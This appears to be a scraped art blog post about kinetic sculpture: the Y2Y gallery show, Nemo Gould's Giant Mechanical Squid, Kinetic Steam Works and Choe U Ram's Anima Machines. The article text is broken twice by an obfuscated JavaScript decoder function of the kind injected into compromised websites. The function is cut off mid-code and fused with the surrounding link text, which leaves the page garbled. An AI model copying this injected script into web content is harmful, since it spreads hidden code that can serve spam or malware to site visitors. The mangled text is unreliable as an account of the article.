art machines

function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandco.com/y2ygallery.html”>Y2Y gallery in San Francisco. It opened on November 21, but fortunately runs through January 23, 2009 so we have plenty of time to enjoy the incredible work of Nemo Gould, Reuben Margolin, Christopher Palmer, Mark Galt and Benjamin Cowden -- also, Gould's astounding Giant Squid is on display.
function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandco.com/y2ygallery.html">Y2Y gallery hours are Monday through Friday, 1-5pm, at 251 Balboa Street, San Francisco, CA 94118; 415.221.5012.

blogging about their insane cowboy adventures going across North America chasing down Case Traction Engines, Kinetic Steam Works is also looking for artists and capable hands willing to 'upgrade' to steam art. This Bay Area outfit is ragtag but skilled and smart; highly recommended if you're looking for a place to plug in your fabrication and mechanical skills.

Nemo Gould is a beloved Bay Area kinetic and machine artist; for two decades he's been building static and kinetic machine art using everything from used dentures to old sewing machine motors. Even his life-sized, sinister looking alien robot sculptures -- such as General Debris -- have a touch of humor, and it's difficult not to smile when perusing a portfolio loaded with thinks like Catmonkey and Junkyard Dog. He's well known for Venus Flytrap:

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Image by Scott Beale / Laughing Squid.

Yet when I met Gould at Maker Faire 2008 and did a live Qik interview, the supreme piece of his ouvre, to me, was his Giant Mechanical Squid -- seen fittingly in this video shot by Scott Beale:

I insist that you start by clicking right over to the Engadget gallery and video, featuring the steel robotic sculptures of machine art mastermind Choe U Ram. The pieces are from the now-closed show Anima Machines -- and are like Arthur Ganson's larger works after a forced infusion of H. R. Geiger's thick blackened alien blood and midwifed from a screaming CNC mill into the hands of a very evil horticulturalist. Just sayin'. I'm in love.
Additionally, Robot Watch has a huge, detailed report on the Anima Machines show (set in an abandoned Japanese bathhouse) and more videos of Ram's exhibition than anywhere else. Do not miss.